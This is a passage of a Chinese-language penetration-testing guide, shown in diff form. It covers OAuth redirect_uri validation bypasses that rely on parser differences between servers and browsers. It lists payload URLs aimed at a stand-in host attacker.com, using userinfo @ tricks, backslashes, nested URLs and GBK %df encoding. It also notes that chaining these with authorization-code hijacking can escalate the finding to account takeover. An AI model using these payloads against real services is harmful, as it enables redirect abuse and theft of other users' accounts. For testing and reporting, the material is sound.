服务端常用 startsWith / parse_url / regex 比对 redirect_uri,但客户端浏览器解析按 [RFC 3986 + WHATWG URL](https://url.spec.whatwg.org/) 实际跳转,两者解析差异 → 跳转到攻击者域:
|
|
2467
|
+
|
|
2468
|
+
```text
|
|
2469
|
+
# 用户态字符歧义(@、./、@host 形式)
|
|
2470
|
+
https://example.com?@www.attacker.com/
|
|
2471
|
+
https://example.com/@www.attacker.com/
|
|
2472
|
+
https://www.attacker.com@example.com/
|
|
2473
|
+
https://www.attacker.com.example.com/
|
|
2474
|
+
https://example.com?.www.attacker.com/
|
|
2475
|
+
https://example.com#.www.attacker.com/
|
|
2476
|
+
https://example.com/.www.attacker.com/
|
|
2477
|
+
|
|
2478
|
+
# 双重 URL 嵌套
|
|
2479
|
+
https://example.com/https://www.attacker.com/
|
|
2480
|
+
https://example.com%2f@example.com/ # %2f 解码歧义
|
|
2481
|
+
https://example.com%2f@attacker.com/
|
|
2482
|
+
|
|
2483
|
+
# 反斜杠 (`\`) — 部分库视为 path-sep,浏览器视为 host-sep
|
|
2484
|
+
https://example.com\@www.attacker.com/
|
|
2485
|
+
https://example.com\\@www.attacker.com/
|
|
2486
|
+
https://www.attacker.com\@example.com/
|
|
2487
|
+
|
|
2488
|
+
# 字符集编码绕过(后端做 mb_convert_encoding / iconv 时,%ff / %df 可能消失或合并下一字节)
|
|
2489
|
+
https://example.com%ff@www.attacker.com/
|
|
2490
|
+
https://example.com%df@www.attacker.com/
|
|
2491
|
+
|
|
2492
|
+
# 字符集解码后端样本(PHP):
|
|
2493
|
+
# $url = mb_convert_encoding($_GET['url'], "GBK", "UTF-8");
|
|
2494
|
+
# %df 在 GBK 下与下一字节合并,host 段被吞掉
|
|
2495
|
+
```
|
|
2496
|
+
|
|
2497
|
+
**真实命中要点**:
|
|
2498
|
+
- 服务端用 `parse_url` / `urlparse` 取 host 后做白名单比对,但客户端按 WHATWG 实际跳转 → 解析差异
|
|
2499
|
+
- 服务端做编码转换(GBK / Big5 / Shift-JIS)前先比对 → 解码后 host 改变
|
|
2500
|
+
- 反斜杠在 Go / Node.js / Python 部分库视为 path 分隔符,浏览器视为 host 分隔符
|
|
2501
|
+
|
|
2502
|
+
**报告价值**:从中危(open redirect)升到高危(账号接管)的关键是结合上面 §OAuth 授权码劫持 payload 证明可拿到他人 `code`。仍仅自演,不抓真实用户 code。
|
|
2503
|
+
|
|
2504
|
+
---
|